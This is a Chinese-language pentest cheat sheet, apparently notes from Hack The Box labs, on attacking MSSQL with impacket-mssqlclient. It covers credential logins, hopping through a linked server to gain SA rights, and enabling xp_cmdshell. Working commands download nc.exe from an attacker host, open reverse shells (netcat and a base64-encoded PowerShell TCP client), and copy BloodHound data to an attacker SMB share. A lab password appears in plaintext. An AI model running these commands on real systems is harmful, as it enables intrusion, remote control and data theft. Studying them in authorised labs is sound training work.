Impacket 包自带
#连接(也支持用哈希)
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.129.58.102' -windows-auth
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.129.58.102'
-windows-auth参数,指定使用“Windows 集成身份验证” (NTLM/SSPI) 模式登录,而非 SQL 模式登录
- 适用于目标 SQL Server 禁用了 SQL 登录、只允许 Windows 身份或 Kerberos/NTLM 时
- 也可以利用某些域用户直接委派登录,不需要 SQL 账号
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
先看自己是不是 SA 权限,不然无法开启 xp_cmdshell 也就无法执行命令
enable_xp_cmdshell #开启xp_cmdshell
#执行命令 下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'
#弹shell
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0...
EXEC xp_cmdshell 'copy c:\users\mssqlsvc\20251011221915_BloodHound.zip \\10.10.14.58\share\bloodhound.zip'
xp_cmdshell \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443
1:先用 enum_links 枚举是否有链接服务器(跨域信任关系)
- 这里有一个指向
DC02.darkzero.ext的链接服务器- 在
DC01上的用户为darkzero\john.w,切换到DC02后继承dc01_sql_svc的权限
使用 exec_as_user 只能针对用户、证书、对称密钥等“安全主体”,不能直接 impersonate 角色
2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w 用户在DC01的mssql的角色为 guest 但在 DC02 的mssql服务上的角色是 SA)
use_link [DC02.darkzero.ext]
3:提权执行命令反弹shell
enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.58/nc.exe -Outfile c:\users\mssqlsvc\nc.exe"'
#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAIAAxADAALgAxADAALgAxADQALgA2ADIAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
后续就是进行信息收集然后根据情况而定
┌──(root㉿kali)-[~/Desktop/htb/Scrambled]
└─# impacket-mssqlclient -k -no-pass scrm.local/ksimpson@DC1.scrm.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
用户没有权限访问mssql
可以尝试使用 【SPN】impacket-GetUserSPNs